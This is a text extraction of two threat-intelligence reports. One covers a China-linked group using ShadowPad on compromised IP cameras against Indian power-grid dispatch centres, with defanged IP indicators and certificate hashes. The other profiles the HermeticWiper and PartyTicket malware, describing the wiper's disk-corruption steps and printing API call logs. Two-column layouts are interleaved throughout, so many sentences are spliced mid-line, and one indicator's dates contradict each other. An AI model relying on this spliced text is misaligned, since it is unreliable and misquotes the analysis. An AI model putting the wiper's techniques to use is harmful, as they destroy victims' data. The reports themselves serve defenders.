+PolySwarm, Team Cymru
+s Pure Signal
+, and common open-source tools and
+techniques. The report will be of most interest to individuals engaged in strategic
+and operational intelligence relating to Indian and Chinese cyber activity. Recorded
+Future notified the appropriate Indian government departments prior to publication
+of the suspected intrusions to support incident response and remediation
+investigations within affected organizations. With thanks to our colleagues at
+Dragos for early sharing and collaboration.
+Executive Summary
+In February 2021, Recorded Future
+s Insikt Group reported
+on intrusion activity targeting operational assets within India
+power grid that we attributed to a likely Chinese state-sponsored
+threat activity group we track as RedEcho. Following a short lull
+after the publication of our RedEcho reporting, we have detected
+ongoing targeting of Indian power grid organizations by Chinalinked adversaries, frequently using the privately shared modular
+backdoor ShadowPad. ShadowPad continues to be employed by
+an ever-increasing number of People
+s Liberation Army (PLA) and
+Ministry of State Security (MSS)-linked groups, with its origins
+linked to known MSS contractors first using the tool in their own
+operations and later likely acting as a digital quartermaster.
+Key Judgments
+ Given the continued targeting of State and Regional Load
+Despatch Centres in India over the past 18 months, first
+from RedEcho and now in this latest TAG-38 activity, this
+targeting is likely a long-term strategic priority for select
+Chinese state-sponsored threat actors active within
+India.
+ The prolonged targeting of Indian power grid assets by
+Chinese state-linked groups offers limited economic
+espionage or traditional intelligence-gathering
+opportunities. We believe this targeting is instead likely
+intended to enable information gathering surrounding
+critical infrastructure systems or is pre-positioning for
+future activity.
+ The objective for intrusions may include gaining an
+increased understanding into these complex systems
+in order to facilitate capability development for future
+use or gaining sufficient access across the system in
+preparation for future contingency operations.
+In recent months, we observed likely network intrusions
+targeting at least 7 Indian State Load Despatch Centres (SLDCs)
+responsible for carrying out real-time operations for grid control
+and electricity dispatch within these respective states. Notably,
+this targeting has been geographically concentrated, with the
+identified SLDCs located in North India, in proximity to the
+disputed India-China border in Ladakh. One of these SLDCs
+was also targeted in previous RedEcho activity. This latest
+set of intrusions, however, is composed of an almost entirely
+different set of victim organizations. In addition to the targeting
+of power grid assets, we also identified the compromise of a
+national emergency response system and the Indian subsidiary
+of a multinational logistics company by the same threat activity
+group. To achieve this, the group likely compromised and co- 1 Typically, Insikt Group publicly names a new threat activity group or campaign,
+opted internet-facing DVR/IP camera devices for command and such as RedFoxtrot, when analysts have data corresponding to at least 3 points on
+the Diamond Model of Intrusion Analysis with at least medium confidence. We will
+control (C2) of Shadowpad malware infections, as well as use of occasionally report on significant activity using a temporary activity clustering name
+the open source tool FastReverseProxy (FRP).
+such as TAG-38, where the activity is new and significant but doesn
+t map to existing
+groupings and hasn
+t yet graduated or merged into an established activity group.
+TA-CN-2022-0406
+Recorded Future 
+ | www.recordedfuture.com
+THREAT ANALYSIS | CHINA
+Figure 1: High-level TAG-38 TTPs and Recorded Future data sourcing graphic (Source: Recorded Future)
+www.recordedfuture.com | Recorded Future 
+TA-CN-2022-0406
+THREAT ANALYSIS | CHINA
+Figure 2: Timeline of Insikt research on Chinese state-sponsored groups targeting India versus geopolitical events (Source: Recorded Future)
+Background
+Our February 2021 RedEcho repor t highlighted the
+compromise of 10 distinct Indian power sector organizations,
+India continues to be a major target of Chinese cyber
+including 4 of the 5 of the country
+s Regional Load Despatch
+espionage activity, as detailed in historical Recorded Future
+Centres (RLDC), 2 ports, a large generation operator, and other
+reporting on RedDelta, RedEcho, RedFoxtrot, TAG-28, and
+operational assets. These assets offer minimal value as economic
+additional client-facing research. Although tensions reduced,
+espionage or other traditional intelligence targets, which led
+aided by partial troop disengagement, in February 2021 following
+us to assess a likely goal of pre-positioning network access to
+prolonged border stand-offs in the Ladakh region, there has
+support Chinese strategic objectives. Following that February
+been limited progress between the states regarding respective
+2021 report, we observed the group abandon the operational
+territorial claims.
+infrastructure highlighted and shift its infrastructure modus
+operandi. Despite this, evidence of targeting of Indian power
+assets and organizations with links to critical infrastructure
+from Chinese state-sponsored actors continued. This included
+the targeting of an Indian managed service provider (MSP) and
+operational technology (OT) vendor using ShadowPad, which
+aligns with activity described in recent Dragos reporting. We
+attribute this particular activity to a separate activity group we
+track as Threat Activity Group 26 (TAG-26). We have observed
+TAG-26 targeting multiple high-value organizations in India using
+ShadowPad, Poison Ivy, and the RoyalRoad RTF weaponizer.
+The use of ShadowPad across Chinese activity groups
+continues to grow over time, with new clusters of activity
+regularly identified using the backdoor as well as continued
+adoption by previously tracked clusters. At this time, we track
+at least 10 distinct activity groups with access to ShadowPad,
+which is assessed to have likely been originally developed and
+used by MSS-linked contractors linked to the APT41 (BARIUM)
+intrusion set.
+TA-CN-2022-0406
+Recorded Future 
+ | www.recordedfuture.com
+THREAT ANALYSIS | CHINA
+Figure 3: Timeline of TAG-38 C2 infrastructure detection and network traffic analysis (NTA) exfiltration events (Source: Recorded Future)
+Threat Analysis
+Since at least September 2021, we have observed TAG38 intrusions targeting the identified victim organizations. The
+group has employed probable compromised infrastructure for
+command and control of ShadowPad implants used to target the
+identified networks, as well as using the open source tool Fast
+Reverse Proxy (FRP). Figure 3 highlights ongoing TAG-38 C2
+detection and network traffic analysis exfiltration events from
+victim networks within the Recorded Future platform between
+September 2021 and March 2022.
+Targeting of Indian Power Sector
+The identified victimology within this latest campaign is
+confined to Indian targets, specifically at least 7 SLDCs, the
+Indian subsidiary of a multinational logistics company, and
+a national emergency response system. As shown in Figure
+4, the identified SLDCs were all located in Northern India, in
+proximity to the disputed China-India border in Ladakh. SLDCs
+are responsible for carrying out real-time operations for
+grid control and electricity dispatch within these respective
+states, similar to the Regional Load Despatch Centres (RLDCs)
+previously targeted in reported RedEcho activity. This makes
+these organizations critical for maintaining grid frequency and
+stability, with SLDCs maintaining access to supervisory control
+and data acquisition (SCADA) systems present across respective
+states for the purpose of grid control and electricity dispatch. At
+this time, we have not observed evidence of access to industrial
+control system (ICS) environments in this activity.
+www.recordedfuture.com | Recorded Future 
+TA-CN-2022-0406
+THREAT ANALYSIS | CHINA
+Figure 4: Map of TAG-38 victim State Load Despatch Centre (SLDC) locations. Previously reported RedEcho victim locations also displayed in gray (Source: Recorded Future)
+TAG-38 Infrastructure Clustering
+Using a combination of proactive infrastructure detection
+techniques and network traffic analysis, we uncovered a cluster
+of C2 infrastructure engaged in this prolonged targeting of
+Indian critical infrastructure over several months. Based on our
+analysis, the adversary infrastructure cluster identified consists
+entirely of likely compromised internet-facing, third-party DVR/
+IP camera devices. The compromise of often poorly secured
+internet-of-things (IOT) devices such as IP cameras for use in
+follow-on intrusion activity has previously been seen for threats
+ranging from Mirai-based botnets (1,2) to the Chinese statesponsored threat activity group RedBravo (APT31/ZIRCONIUM).
+At this time, we have not determined the means in which these
+devices were originally compromised, which may include the use
+of default credentials. Using a series of analytical techniques
+and heuristics, we were able to cluster a network of these C2
+IPs together, all of which matched all or most of the following
+criteria:
+ Victim infrastructure observed communicating to all of
+the identified C2 servers consisted solely of the same
+overlapping Indian power grid victims, logistics company,
+and Indian emergency response system.
+ All C2 servers were likely compromised DVR/IP camera
+devices and were primarily geolocated in Taiwan or
+South Korea.
+ Likely compromised devices were observed with the
+default open ports 80/554/9090 associated with
+the compromised device, as well as an additional
+actor-controlled port(s) opened for malware C2
+communications.
+ A large proportion were confirmed as ShadowPad
+C2 servers using Recorded Future C2 detection
+methodologies, a technique previously used in historical
+Insikt Group reporting on RedEcho and other Chinese
+state-sponsored activity groups (1,2,3).
+ A large proportion of the identified C2s had the open
+source tool Fast Reverse Proxy (FRP) server component
+configured on port 8443. FRP can read predefined
+configurations and allows you to expose local services
+that are hidden behind the NAT or a firewall to the
+internet. This tool has been abused by numerous statesponsored groups, including the Iran-linked group
+Phosphorus and several Chinese actors (1,2).
+ A large proportion of the identified C2s
+shared a unique SSL certificate spoofing
+Microsoft on port 443 (SHA1 fingerprint:
+0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf). This
+certificate has multiple links to wider Chinese statesponsored cyber espionage activity and is discussed in
+further detail below.
+TA-CN-2022-0406
+Recorded Future 
+ | www.recordedfuture.com
+THREAT ANALYSIS | CHINA
+ShadowPad C2
+IP Address
+First Seen
+14.43.108[.]22
+AS4766
+Aug 27, 2021
+210.123.140[.]200
+AS45361
+Sep 15, 2021
+112.171.218[.]39
+AS4766
+Jan 12, 2022
+114.35.191[.]224
+AS3462
+Jan 12, 2022
+59.10.140[.]47
+AS4766
+Jan 13, 2022
+121.151.212[.]101
+AS4766
+Oct 18, 2021
+119.200.211[.]197
+AS4766
+Feb 8, 2022
+124.216.159[.]70
+AS4766
+Feb 23, 2022
+211.184.160[.]108
+AS4766
+Feb 28, 2022
+The use of a shared SSL certificate (SHA1 fingerprint
+0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf) exhibited on
+several TAG-38 servers was also notable. This SSL certificate
+was also identified historically on a few dozen other servers
+with links to Chinese cyber espionage activity. For example,
+one of the IP addresses historically exhibiting this certificate,
+185.243.41[.]240, concurrently hosted several domains attributed
+to the group we track as TAG-26 referenced earlier in this report
+(including supership.dynv6[.]net, supermarket.ownip[.]net, and
+greatsong.soundcast[.]me). At this time, we believe it is unlikely
+that the use of this certificate is exclusive to a single activity
+group. This is based on wider context such as differing targeting
+patterns, infrastructure TTPs, and capability use linked to the
+infrastructure historically sighted exhibiting this certificate,
+which may instead be indicative of a shared capability.
+Table 1: Sample list of ShadowPad C2 servers linked to TAG-38 targeting of Indian power sector and
+additional victims
+Subject:
+CN=www.microsoft.com
+Overlaps With Other China-Nexus Threat Activity
+Issuer:
+CN=www.microsoft.com
+While investigating the TAG-38 intrusion activity, we
+uncovered multiple links to other suspected Chinese statesponsored activity. Of note, the targeting and use of ShadowPad
+is consistent with previously reported RedEcho activity, and this
+latest activity also includes a repeated SLDC victim. However,
+there were distinct differences in the infrastructure TTPs used
+in this latest campaign, and at this time we have not identified
+sufficient technical evidence tying these 2 activity groups
+together beyond the common targeting sets and capability use.
+Decimal:
+-3057430298263606566302079470361224100
+Hex:
+0xfdb3290c46b41fb24a0fefd16e565c5c
+Validity:
+2021-06-07 14:29:51 to 2039-12-31 23:59:59
+Names:
+www.microsoft.com
+SHA-256:
+B63e14d24e0893f85e80b4b94ad0bd800d6e105
+70dc93ec56bbe75cd665385b0
+SHA-1:
+0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf
+MD5:
+d06cc3e6f5673b2e9bfdac55944109a5
+Figure 6: Shared SSL certificate linked to TAG-38 and wider Chinese cyber espionage activity
+Figure 5: Maltego chart of TAG-38 infrastructure clustering
+www.recordedfuture.com | Recorded Future 
+TA-CN-2022-0406
+THREAT ANALYSIS | CHINA
+Mitigations
+Outlook
+We recommend that users conduct the following measures
+Recorded Future continues to track Chinese state-sponsored
+to detect and mitigate activity associated with TAG-38 activity: activity groups targeting a wide variety of sectors globally. A
+large majority of this conforms to longstanding cyber espionage
+ Configure your intrusion detection systems (IDS),
+efforts, such as targeting of foreign governments, surveillance
+intrusion prevention systems (IPS), or any network
+of dissident and minority groups, and economic espionage.
+defense mechanisms in place to alert on 
+ and upon
+However, the coordinated effort to target Indian power grid
+review, consider blocking connection attempts to and
+assets in recent years is notably distinct from our perspective
+from 
+ the external IP addresses and domains listed in
+and, given the continued heightened tension and border disputes
+the appendix.
+between the two countries, we believe is a cause for concern.
+ Recorded Future proactively detects and logs malicious
+Based on the complexity present across national critical
+server configurations in the Command and Control
+infrastructure
+systems, this often necessitates lengthy
+Security Control Feed. The Command and Control list
+reconnaissance operations to better understand the inner
+includes tools used by TAG-38 and Chinese stateworkings of these systems, both in a technological and a physical
+sponsored threat activity groups, such as ShadowPad.
+sense. This is reflected in publicly documented targeted intrusion
+Recorded Future clients should alert on and block these
+activity targeting industrial control system (ICS) networks
+C2 servers to allow for detection and remediation of
+historically, which can often span years. At this time, we have
+active intrusions.
+not identified evidence of compromise of ICS networks by TAG
+ Monitor for consistent anomalous outbound traffic from
+38 operators from our visibility, although we cannot discount
+your network to unusual servers, such as compromised
+this possibility. Given the prolonged targeting of both SLDCs
+DVR/IP camera systems in this case, which may be
+and RLDCs within India, first from RedEcho and now in this latest
+indicative of malware beaconing activity.
+TAG-38 activity, we believe this targeting is a strategic priority
+ Ensure software and firmware associated with IOT
+for these actors and is likely to continue.
+devices, such as DVR/IP camera systems, are kept up to
+date. Always change any default passwords to a strong,
+complex password and turn on two-factor authentication
+(2FA) if available. Where possible, avoid exposing these
+devices directly to the internet.
+ Recorded Future Threat Intelligence, Third-Party
+Intelligence, and SecOps Intelligence module users can
+monitor real-time output from network traffic analysis
+analytics to identify suspected targeted intrusion activity
+involving your organization or key vendors and partners.
+TA-CN-2022-0406
+Recorded Future 
+ | www.recordedfuture.com
+THREAT ANALYSIS | CHINA
+Appendix A 
+ Indicators
+Readers can access the indicators listed below in our public Insikt Group Github repository: https://github.com/Insikt-Group/
+Research (Continued Targeting of Indian Power Grid Assets by China State-sponsored Activity Group - March 2022).
+Note: We have observed a portion of the compromised infrastructure listed below indiscriminately scanning the internet
+outside of the First Seen/Last Seen dates associated with TAG-38 activity. Careful consideration should be given to these dates
+when analyzing any communications to these network indicators within your environment. The malicious activity described in this
+report consists of consistent long-term outbound network traffic to these nodes indicative of malware beaconing, not inbound
+scanning or brute forcing activity.
+Network Indicator
+First Seen
+Last Seen
+14.43.108[.]22
+Aug 27, 2021
+Dec 31, 2021
+59.10.140[.]47
+Jan 13, 2022
+Feb 2, 2022
+59.127.10[.]132
+Feb 12, 2022
+Mar 15, 2022
+61.74.255[.]16
+Feb 25, 2022
+Mar 15, 2022
+122.116.165[.]62
+Feb 23, 2022
+Mar 15, 2022
+112.171.218[.]39
+Jan 12, 2022
+Feb 13, 2022
+114.34.10[.]80
+Feb 17, 2022
+Mar 15, 2022
+114.35.16[.]182
+Mar 1, 2022
+Mar 20, 2022
+114.35.191[.]224
+Jan 12, 2022
+Feb 22, 2022
+119.200.211[.]197
+Feb 8, 2022
+Mar 3, 2022
+121.128.198[.]233
+Feb 17, 2022
+Mar 13, 2022
+121.151.212[.]101
+Oct 18, 2021
+Dec 23, 2021
+122.116.234[.]73
+Dec 23, 2021
+Mar 13, 2022
+124.216.159[.]70
+Feb 23, 2022
+Mar 21, 2022
+175.200.146[.]227
+Dec 29, 2021
+Feb 17, 2021
+175.208.234[.]194
+Feb 18, 2022
+Feb 21, 2022
+175.214.193[.]170
+Feb 12, 2022
+Mar 21, 2022
+182.220.237[.]217
+Feb 17, 2022
+Mar 22, 2022
+210.123.140[.]200
+Sep 15, 2021
+Mar 2, 2022
+211.184.160[.]108
+Feb 28, 2022
+Mar 22, 2022
+220.132.106[.]193
+Feb 17, 2022
+Mar 15, 2022
+220.133.141[.]117
+Feb 17, 2022
+Mar 15, 2022
+Shared SSL Certificate (SHA1 Fingerprint): 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf
+www.recordedfuture.com | Recorded Future 
+TA-CN-2022-0406
+THREAT ANALYSIS | CHINA
+Appendix B 
+ MITRE ATT&CK Techniques
+Tactic: Technique
+ATT&CK Code
+Resource Development: Compromise Infrastructure
+T1584
+Command and Control: Proxy: Multi-hop Proxy
+T1090.003
+Command and Control: Application Layer Protocol - Web Protocols
+T1071
+Exfiltration: Exfiltration Over C2 Channel
+T1041
+TA-CN-2022-0406
+Recorded Future 
+ | www.recordedfuture.com
+THREAT ANALYSIS | CHINA
+About Insikt Group
+Recorded Future
+s Insikt Group, the company
+s threat research division, comprises
+analysts and security researchers with deep government, law enforcement, military, and
+intelligence agency experience. Their mission is to produce intelligence that reduces
+risk for clients, enables tangible outcomes, and prevents business disruption.
+About Recorded Future
+Recorded Future is the world
+s largest intelligence company. The Recorded
+Future Intelligence Platform provides the most complete coverage across adversaries,
+infrastructure, and targets. By combining persistent and pervasive automated data
+collection and analytics with human analysis, Recorded Future provides real-time visibility
+into the vast digital landscape and empowers clients to take proactive action to disrupt
+adversaries and keep their people, systems, and infrastructure safe. Headquartered in
+Boston with offices and employees around the world, Recorded Future works with more
+than 1,300 businesses and government organizations across 60 countries.
+Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.
+www.recordedfuture.com | Recorded Future 
+TA-CN-2022-0406
+MALWARE/
+TOOLS
+PROFILE
+By Insikt Group
+March 2, 2022
+HermeticWiper and
+PartyTicket Targeting
+Computers in Ukraine
+MALWARE/TOOL PROFILE
+Background
+HermeticWiper, also known as FoxBlade, is a data wiper found
+targeting finance and government contractor organizations in
+Ukraine, Latvia, and Lithuania, according to Symantec.
+This report is a technical overview of the HermeticWiper and
+PartyTicket malware reported by ESET and Symantec on February 23,
+2022. The malware was primarily delivered to Ukrainian organizations
+coincident with the Russian invasion of Ukraine. It is intended for those
+looking for a high-level overview of the malware
+s TTPs and mitigations.
+ESET first reported that their telemetry indicated the
+malware was delivered to hundreds of systems in Ukraine, and
+the malware was executed on February 23, 2022, following DDoS
+attacks on Ukrainian websites earlier that day.
+Executive Summary
+It was also reported by ESET that the malware was a signed
+executable, with a code-signing certificate issued to Hermetica
+Insikt Group analyzed the HermeticWiper malware
+Digital Ltd. Code-signing certificates allow malware to be
+and the associated ransomware component named
+more effectively deployed by bypassing detection capabilities,
+PartyTicket that were first publicly reported targeting
+such as Microsoft Defender SmartScreen and built-in browser
+Ukrainian organizations on February 23, 2022. We
+protections. The developer who operates Hermetica Digital Ltd.
+determined that both components serve the purpose
+has publicly denied any involvement in the development of the
+of data destruction, with the 
+ransomware
+ component
+malware, however.
+differing significantly in form and function from known
+criminal ransomware threats.
+Key Judgments
+ The use of a wiper malware with an associated
+destructive ransomware component is similar
+in method to WhisperGate, NotPetya, and other
+operations credited to Sandworm.
+ There is insufficient evidence at this time to
+attribute HermeticWiper to the Russian state,
+but the timing of the mass deployment of
+HermeticWiper with kinetic attacks and other
+cyberattacks on Ukraine, and a methodology
+similar to past attacks by Russian governmentassociated actors, lends credence to such an
+attribution.
+ The PartyTicket ransomware attacks are unlikely
+to be a true ransomware campaign conducted
+for financial gain. It is more likely that the
+ransomware component is a ruse and the real
+purpose of the attacks are disruption and data
+destruction.
+Figure 1: The now-revoked Hermetica Digital Ltd. code signing certificate used to sign
+HermeticWiper (Source: Recorded Future)
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Microsoft reported that it identified the wiper attacks on HermeticWiper
+February 24, 2022 and alerted the Ukrainian government.
+HermeticWiper
+s primary purpose is to corrupt the NTFS
+Although no direct attribution of HermeticWiper has been and/or FAT file systems of a victim
+s machine to prevent it from
+made by security researchers at this time, the timing being booting correctly. It was written in Visual Studio 2008 and 2015
+coincident with other cyberattacks and physical attacks in a combination of C and assembly and uses an included kernel
+on Ukraine and a history of similar tactics by Russian state- driver to implement much of its disk access functionality. The
+associated actors in their use of data wipers in the past, including use of a kernel driver instead of conventional Windows API calls
+WhisperGate in January 2022 and NotPetya in 2017, suggest the is thought to evade detections that may catch the higher-level
+involvement of a Russian state operation.
+API calls being made. The compiler timestamps for 2 samples
+show that they were compiled on December 28, 2021, and 1
+other sample shows February 23, 2022. Although timestamps
+Technical Analysis
+can be forged, the timestamp from December 28, 2021, could
+Multiple infection vectors for the HermeticWiper malware be used to determine how far in advance this operation was
+planned. Each sample is signed using what was, at the time,
+have been reported by Symantec.
+a valid certificate issued to Hermetica Digital Ltd. Since the
+The delivery of the malware to a Ukrainian organization
+malware
+s discovery, the certificate has since been revoked by
+followed a Server Message Block (SMB)-based attack on a
+the Certificate Authority, as shown in Figure 1 above.
+Microsoft Exchange server on December 23, 2021. The adversary
+Upon execution, the wiper adjusts its process token privileges
+initially stole credentials, and a web shell was installed on January
+16, 2022. HermeticWiper was finally deployed on February 23, to acquire SeBackupPrivilege and SeShutdownPrivilege in order
+to obtain read privileges to any files and eventually shut down
+2022.
+the system before terminating. Next, it determines the Windows
+A Lithuanian organization that received HermeticWiper was
+version and bitness (x86 or x86_64) of the victim
+s machine
+initially compromised in November 2021. The delivery mechanism
+in order to determine which kernel driver, located in the PE
+was suspected by Symantec as being an Apache Tomcat exploit
+resource section, to later load. The kernel drivers are legitimate,
+that executed a malicious PowerShell command. This attack
+benign software used by EaseUS
+s Partition Master and are
+similarly included a credential harvesting component, followed
+signed with a certificate issued to EaseUS
+s parent company,
+quickly by the delivery and execution of the wiper malware as a
+CHENGDU YIWO Tech Development Co., Ltd., shown in Figure 2
+scheduled task.
+below. Although the certificate has expired, newer versions of
+In several of the attacks, a ransomware executable was Windows 10 allow exceptions for kernel drivers with certificates
+delivered alongside HermeticWiper. The victims received issued before July 29, 2015, to be loaded.
+a ransomware notification providing 2 email addresses:
+vote2024forjb@protonmail[.]com and stephanie.jones2024@
+protonmail[.]com. Symantec considers it likely that the
+ransomware component was used to distract the victims.
+WhisperGate attacks used a similar methodology, wherein
+the attack was disguised as ransomware. Both WhisperGate
+and HermeticWiper used separate components to prevent a
+victim
+s system from booting and file corruption; however, the
+component that played the role of ransomware changed between
+the 2 attacks. With WhisperGate, the wiper itself masqueraded
+as ransomware; however, with the HermeticWiper attacks, it was
+the file corrupter instead.
+ESET reported that in one instance they observed, the
+malware was dropped via default Group Policy Objects (GPO),
+indicating that the adversaries almost certainly had control of
+an Active Directory server on the network.
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+To create the service, the process
+s token privileges are
+adjusted again to add SeLoadDriverPrivilege. A service is then
+created, configured, and started. Once the driver is successfully
+loaded, the created service
+s registry entry is removed from
+HKLM\SYSTEM\CurrentControlSet\services\. Next, the Volume
+Shadow Service (VSS) is stopped and disabled, as shown in
+Figure 4, to make recovery more difficult.
+The wiper then begins to iterate through all physical
+drives on the system one at a time by attempting to access
+\\.\PhysicalDrive<1-100>. For each drive, junk data is written to
+seemingly random locations of the disk in order to corrupt it.
+Additionally, the partitions on each physical disk are enumerated
+and any identified as FAT or NTFS file systems are corrupted by
+writing random data to the file system header. Although public
+reporting has stated that the MBR is 
+wiped
+, which typically
+means the MBR is overwritten, in our analysis we have concluded
+that only the file system is corrupted along with random locations
+on the disk. The end result similarly results in a loss of the stored
+data and inability of the victim machine to boot. Appendix A
+provides the output from a tool, API Monitor, that captured the
+SetFilePointerEX and WriteFile API calls used to corrupt the hard
+drives on the victim
+s machine. There were no writes to the 
+index, where the MBR would reside, however there are writes
+to the index, 1048576, which is the location of the NTFS file
+system header. The additional writes are to seemingly random
+locations on disk.
+The corruption of the file systems goes beyond a simple
+MBR overwrite and is more effective because it impacts a
+The kernel drivers are stored as RCDATA in the PE file
+s victim
+s ability to boot regardless of the disk partitioning scheme
+resource section, as shown in Figure 3 below. Each driver is (i.e., MBR, GPT). This technique is more robust than the MBR
+compressed using Microsoft
+s SZDD file format, based on the overwrite used in the WhisperGate attacks, where we showed
+that GPT-style disks could recover from the MBR overwrite.
+Lempel
+Storer
+Szymanski (LZSS) algorithm.
+Figure 2: Certificate used to sign EaseUS Partition Master drivers (Source: Recorded Future)
+After corrupting the file system the wiper disables the
+After locating the correct driver, the wiper then proceeds to
+ShowCompColor
+and ShowInfoTip values in the Software\
+disable WoW64 File System Redirection if the victim is running
+Microsoft\CurrentVersion\Explorer\Advanced
+registry key in
+a 64-bit OS. This prevents 64-bit systems from loading 32-bit
+order
+prevent
+encrypted
+NTFS
+files
+from
+showing
+in color
+kernel drivers from the %windir%\SysWOW64\drivers directory
+and instead forces them to use %windir%\system32\drivers, and showing pop-up descriptions for folders, respectively. Then
+where the malware will eventually place the kernel driver. it proceeds to corrupt logs and data on NTFS file systems.
+Next, Crash Dumps are disabled by modifying the registry
+Finally, the wiper attempts to shut the system down with a
+value 
+CrashDumpEnabled
+ to 0 for the key HKLM\SYSTEM\ call to InitiateSystemShutdownExW. Once the victim machine is
+CurrentControlSet\Control\CrashControl. This is likely done to rebooted, the user is presented with an error message indicating
+avoid writing a crash dump to disk when the program terminates. that their system cannot boot. In the case of MBR-style disks,
+The compressed driver resource is then written to the the victim is presented with a message similar to the one shown
+%windir%\system32\drivers directory with a name consisting of in Figure 5; or in the case of GPT-style disks, the one shown
+2 pseudorandom lowercase characters followed by 
+. Then in Figure 6. In both cases, although the MBR is still intact,
+the driver is decompressed, and a service with the same name the system is unable to boot due to the corrupted file system
+partition containing the Operating System.
+is temporarily created to load the driver.
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Figure 3: SZDD compressed resources stored in the resource section of the wiper (Source: Recorded Future)
+Figure 4: Disabling and stopping the VSS service (Source: Recorded Future)
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Figure 8: Ransomware function names (Source: Recorded Future)
+Figure 5: Boot screen after infection on a MBR disk (Source: Recorded Future)
+Similarly, the ransom note dropped by the malware contained
+email addresses on similar topics, and the encrypted files were
+renamed with the suffix 
+[vote2024forjb@protonmail[.]com].
+encryptedJB
+, as shown in Figure 10.
+Figure 9: Example of encrypted file with extension (Source: Recorded Future)
+Figure 10 below shows the ransomware note dropped by
+PartyTicket. While Insikt Group cannot currently attribute the
+ransomware to any specific group, the note differs substantially
+from that of other ransomware groups we have seen.
+Figure 6: Boot screen after infection on a GPT disk (Source: Recorded Future)
+PartyTicket
+Insikt Group analyzed the ransomware associated with the
+HermeticWiper malware, dubbed PartyTicket. The ransomware
+contained several path strings and function names that allude to
+the White House, Joe Biden, and elections, among other topics,
+seen below in Figures 7 and 8.
+Figure 7: Paths contained in the ransomware (Source: Recorded Future)
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Figure 10: Ransom note (Source: Recorded Future)
+There is no 
+branding
+ identifying a particular ransomware
+group responsible for the attack, and there are several
+misspellings and grammatical errors throughout the note. As
+a result, the ransomware component of the HermeticWiper
+malware is unlikely to have been developed and distributed by a
+criminal ransomware group. Further, the malware contains a list
+of files, shown in Figure 12 below, that it seeks to encrypt. Unlike
+all other recent, criminal-operated ransomware variants, this list
+includes files that are key to the ability of the victim system to
+operate, including .dll and .exe files. This further suggests that
+this is not legitimate ransomware but rather a destructive piece
+of malware.
+-inf .acl, .avi .bat .bmp .cab .cfg .chm .cmd .com .crt .css
+.dat .dip .dll .doc .dot .exe .gif .htm .ico .iso .jpg .mp3 .msi
+.odt .one .ova .pdf .png .ppt .pub .rar .rtf .sfx .sql .txt .url .vdi
+.vsd .wma .wmv .wtv .xls .xml .xps .zip
+Figure 11: File extensions the 
+ransomware
+ seeks to encrypt (Source: Recorded Future)
+www.recordedfuture.com | Recorded Future 
+MTP-2022-0302
+MALWARE/TOOL PROFILE
+Mitigations
+Outlook
+The compromised systems leading to the delivery of the
+This is the second destructive malware that has emerged
+wiper have involved exploitation of vulnerable systems: a over the past month, coinciding with the timing of attacks on
+Microsoft Exchange server, and an Apache Tomcat server. Ukraine, and exhibiting a methodology similar to past attacks
+Defenders concerned specifically about HermeticWiper should by Russian government-associated actors. We expect further
+ensure that any such servers on their networks are fully updated cyberattacks or malicious tools to emerge and be used to
+and patched. Similarly, enterprises should prioritize detection of destroy data and cause other disruptions. While there is not
+web shells and exploitation on their perimeters. Detection of a enough evidence to tie either of these wipers to a specific threat
+wiper malware at the point of execution is often too late in the kill actor or group, HermeticWiper
+s similarities to previous Russian
+chain to ensure continued organizational operations. Focusing state-linked malware variants, such as NotPetya, could suggest
+on the initial stages is important to avoid such malware being some relationship.
+executed.
+Endeavoring to prevent, detect and block early-stage activity
+observed in the delivery of HermeticWiper, such as malicious
+PowerShell usage and SMB exploitation, is thus recommended.
+The adversary, nimble enough to exploit more than one type of
+system to deliver HermeticWiper, is likely capable of delivering
+malware to other vulnerable systems as well, and consistent
+patching and updating of all external-facing systems is therefore
+critical.
+On February 26, 2022, CISA issued an alert concerning the
+use of destructive malware, specifically HermeticWiper and
+WhisperGate, against Ukrainian organizations. General best
+practices and mitigations for wiper malware are provided in the
+alert. By keeping updated on the current situation in Ukraine, in
+particular in the cyber realm, an organization can better prioritize
+patching and other mitigations based on what is currently known
+of potential threats.
+Insikt Group has provided 2 YARA rules to detect
+HermeticWiper and PartyTicket in Appendix B.
+MTP-2022-0302
+Recorded Future 
+ | www.recordedfuture.com
+MALWARE/TOOL PROFILE
+Appendix A: SetFilePointerEx and WriteFile Windows API Calls
+The table below shows the output from the tool API Monitor and was specifically capturing the API calls SetFilePointerEx,
+WriteFile, and wnsprintfw. To get the drive index location that SetFilePointerEx is pointing to, you must combine the 
+HighPart
+and 
+LowPart
+ values to get the full index. For example, the full index for the call, 
+SetFilePointerEx ( 0x0000026c, { u = { LowPart
+= 2539999232, HighPart = 17 }, QuadPart = 75554443264 }, NULL, FILE_BEGIN )
+ would be 172539999232.
+Module
+1bc44.exe
+wnsprintfW ( "", 260, "\\.\EPMNTDRV\%u", ... )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2539999232, HighPart = 17 }, QuadPart = 75554443264
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540003328, HighPart = 17 }, QuadPart = 75554447360
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540007424, HighPart = 17 }, QuadPart = 75554451456
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
+SetFilePointerEx ( 0x0000026c, { u = { LowPart = 2540011520, HighPart = 17 }, QuadPart = 75554455552
+}, NULL, FILE_BEGIN )
+1bc44.exe
+WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL )
+1bc44.exe
